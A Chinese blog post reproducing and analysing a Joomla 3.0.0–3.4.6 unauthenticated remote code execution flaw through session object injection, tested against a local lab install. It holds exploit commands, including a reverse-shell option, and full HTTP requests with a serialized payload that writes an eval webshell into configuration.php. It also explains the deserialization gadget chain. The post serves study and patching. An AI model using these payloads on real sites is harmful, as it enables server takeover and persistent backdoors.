Joomla!是一套自由、开放源代码的内容管理系统,以PHP撰写,用于发布内容在万维网与内部网,通常被用来搭建商业网站、个人博客、信息管理系统、Web 服务等,还可以进行二次开发以扩充使用范围。目前最新版本3.9.11,Joomla!是一套自由的开源软件,使用GPL授权,任何人随时都能下载 Joomla! 并使用。
在exploit-db( https://www.exploit-db.com/exploits/47465)发布了Joomla命令执行的EXP,漏洞本质是Joomla对session数据处理不当,未经授权的攻击者可以发送精心构造的恶意 HTTP 请求,实现远程命令执行,获取服务器权限。
Joomla3.0.0 至 3.4.6
1.用phpstudy集成环境搭建即可
下载joomla3.4.6
Joomla下载地址:https://downloads.joomla.org/it/cms/joomla3/3-4-6
下载完成之后拖到WWW根目录下,访问:http://127.0.0.1/joomla(你安装的目录),就会自动跳转到如下安装界面,根据提示进行安装即可!
填入相关信息,点击下一步
删除完安装目录,点击网站,或者访问:http://127.0.0.1/joomla(你的安装目录),就可以访问
访问成功,到此Joomla3.4.6的blog版本就搭建完成了。
推荐下载地址,当然也可以自行下载:
https://github.com/ianxtianxt/Joomla-3.4.6—configuration.php-Remote-Code-Execution
用python3 执行下载的py脚本,ps:我这里重命名了脚本名字。输入:
python3 Joomla-3.4.6-RCE.py -h,查看命令参数,但是发现缺少相关pip,开始安装库,继续操作
EXP利用方式
影响范围:3.0.0-3.4.6 1、漏洞验证
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla
显示“Vulnerable”证明存在漏洞
python3 test.py -t http://127.0.0.1/joomla –exploit –lhost vps –lport port
执行成功
并在“configuration.php”写入随机密码的一句话木马
验证漏洞
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla/
漏洞利用
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla/ -e -l 127.0.0.1 -p 2222
-l 目标ip,-p +端口(可随机,不冲突即可)
这里并没有反弹shell,但是可以看到生成的马的密码,如图。
我们去看一下configuration.php文件是否真的生产了一句话木马。
一句话木马连接地址:
http://127.0.0.1/joomla/configuration.php
密码随机:jjdbzbpipkpfjszvromojjwtozscwjimbhfegwfmquhmbtdgum
采用FREEBUF的漏洞分析,大佬写的很完美:
通过漏洞复现和分析py脚本可以知道,在上传shell的时候有以下几步,之所以有这么手工步骤主要与Joomla的会话机制有关。
1.获取Cookie
代码:
通过burpeuite抓到的请求包1
GET/Joomla/3.4.6/index.php/component/users HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
2.获取csrf-token (关键步骤)
代码:
defget_token(url, cook):
token =''
resp = requests.get(url, cookies=cook,proxies = PROXS)
html =BeautifulSoup(resp.text,'html.parser')
# csrftoken is the last input
for v inhtml.find_all('input'):
csrf = v
csrf =csrf.get('name')
returncsrf
通过burpeuite抓到的请求包2:
GET/Joomla/3.4.6/index.php/component/users HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: dc674b0eef3d2412c63832504cf5ac18=sfoodgd4m6fj2c1895u5b2tmp6;
主要是从返回包中提取 csrftoken
3.生成payload 这里有2个payload
后门的payload
代码:
利用PHP自带的file_put_contents函数写入webshell到configuration.php中,webshell内容如下:
'if(isset($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']))eval($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']);'
反弹的payload
4.发送带有写入webshell的请求 主要构造username,password,option,task,csrftoken等字段
def make_req(url, object_payload):
# justmake a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf =get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding= 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' #working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the'return' part
password_payload = padding + inj_object
params ={
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf:'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies= PROXS, cookies = cook,data=params)
returnresp.text
下面是通过Burpsuite抓包获取的写入webshell的请求包3
POST/Joomla/3.4.6/index.php/component/users HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.22.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie:dc674b0eef3d2412c63832504cf5ac18=bg7tprkie898gu5luh1it52ga3Content-Length: 1136Content-Type: application/x-www-form-urlencodedusername=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22assert%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A217%3A%22file_put_contents%28%27configuration.php%27%2C%27if%28isset%28%24_POST%5B%5C%27scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay%5C%27%5D%29%29+eval%28%24_POST%5B%5C%27scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay%5C%27%5D%29%3B%27%2C+FILE_APPEND%29+%7C%7C+%24a%3D%27http%3A%2F%2Fwtf%27%3B%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login&03b291424900343c59f58ad131d087a7=1
5.连接webshell测试是否写入成功
通过burpeuite抓到的请求包4:
POST /Joomla/3.4.6//configuration.php HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.22.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 70Content-Type: application/x-www-form-urlencodedscgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay=echo+%27PWNED%27%3B
这个漏洞是和Joomla的会话的运作机制有关,Joomla 会话以 PHP Objects 的形式存储在数据库中且由 PHP 会话函数处理,但是由于Mysql无法保存Null 字节,函数在将session写入数据库和读取时会对象因大小不正确而导致不合法从而溢出。因为未认证用户的会话也可存储,所以该对象注入 (Object Injection) 可以在未登录认证的情况下攻击成功,导致RCE。
1.溢出
当我们在 Joomla中执行 POST 请求时,通常会有303重定向将我们重定向至结果页。这是利用的重要事项,因为第一个请求(含参数)将只会导致 Joomla 执行动作并存储(例如调用write() 函数)会话,之后303重定向将进行检索(如调用read() 函数)并将信息显示给用户。
漏洞利用文件 ‘libraries/joomla/session/storage/database.php’中定义的函数 read()和 write()由session_set_save_handler()设置,作为‘libraries/joomla/session/session.php:__start’session_start() 调用的读和写处理程序。
由于Mysql无法保存Null 字节,libraries/joomla/session/storage/database.php的write函数在将数据存储到数据库之前(write函数)会用‘’替换‘002a00’(chr(0).’’.chr(0)),而在序列化对象中, $protected变量被赋予‘002a00’前缀。
当读取数据库中的数据时, read 函数会用‘002a00’(NN)替换‘’,重构原始对象。
这种替换的主要问题在于它用3个字节替换了6个字节。这种代码在Joomla3.0.0到3.4.6 版本中一直存在。从 3.4.7 版本开始,会话是 base64 编码形式存储在数据库中。
如之前所述,我们能够通过动作参数的读取和写入来操纵该会话对象进行注入将被3个字节替换的‘’,导致对象因大小不正确(字节长度不同)导致不合法,造成溢出。
举个栗子
比如一个登录表单,在 username 字段中放入‘my002a00username’,经过write函数处理后将在数据库中得到如下对象:
s:8:s:"username";s:16:"my\0\0\0username"
当该会话对象被 read 函数中读取时,‘’将被以如上所述方式所替代,得到如下值: s:8:s:”username”;s:16:”myN*Nusername”–>不合法的大小
被替换的字符串只有13个字节长,但生命的字符串长度仍然是16个字节! 就可以愉快地利用这种“溢出”构造一个可以实现 RCE 的一个新的对象,在可以控制反序列化对象以后,我们只需构造一个能够一步步调用的执行链,即可进行一些危险的操作了。 在本次曝光的Poc中就是用username字段进行溢出,password字段进行对象注入,如果插入任意serialize字符串,构造反序列化漏洞了,到这里就和之前的漏洞CVE-2015-8562的比较相似了。
2.对象注入(反序列化) (本部分参考PHITHON的博客)
CVE-2015-8562的Poc如下
User-Agent:123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5
{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0
{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}4
在这个执行链中,分别利用了如下类: JDatabaseDriverMysqli和SimplePie
2.1JDatabaseDriverMysqli类
我们可以在JDatabaseDriverMysqli类的析构函数里找到一处敏感操作:
disconnect();
}
...
publicfunction disconnect()
{
// Closethe connection.
if($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
当exp对象反序列化后,将会成为一个JDatabaseDriverMysqli类对象,不管中间如何执行,最后都将会调用__destruct,__destruct将会调用disconnect,disconnect里有一处敏感函
call_user_func_array。
但很明显,这里的call_user_func_array的第二个参数,是我们无法控制的。所以不能直接构造assert+eval来执行任意代码。
于是这里再次调用了一个对象:SimplePie类对象,和它的init方法组成一个回调函数[new SimplePie(), ‘init’],传入call_user_func_array。
跟进init方法:
feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'),$this->cache_location, call_user_func($this->cache_name_function,$this->feed_url), 'spc');
很明显,其中这两个call_user_func将是触发代码执行的元凶。
所以,可以将其中第二个call_user_func的第一个参数cache_name_function,赋值为assert,第二个参数赋值为我需要执行的代码,就构造好了一个『回调后门』。
2.2SimplePie类
默认情况下SimplePie是没有定义的,这也是为什么我在调用SimplePie之前先new了一个JSimplepieFactory的原因,因为JSimplepieFactory对象在加载时会调用import函数将SimplePie导入到当前工作环境:
而JSimplepieFactory有autoload,所以不再需要其他include来对其进行加载。
P牛的Poc
O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð
前面讲过由于Joomla的会话机制Post请求会被303重定向到结果页面所以无法回显,这里的phpinfo函数就用不了 选择用file_put_contents函数写入一句话到configuration.php中
file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\']))eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';
最终的对象如下:
AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'ja0k\']))+eval($_POST[\'ja0k\']);',+FILE_APPEND)+||+$a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:
更新至最新版本
官方地址https://downloads.joomla.org
代码及工具下载:
https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE
免责声明:本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
[1].https://cxsecurity.com/issue/WLB-2019100045
[2].https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
[3].https://mp.weixin.qq.com/s/NG0fw-si2BchcKVz5atsdA
转载请注明:Adminxe's Blog » Joomla-3.4.6远程代码执行漏洞利用与分析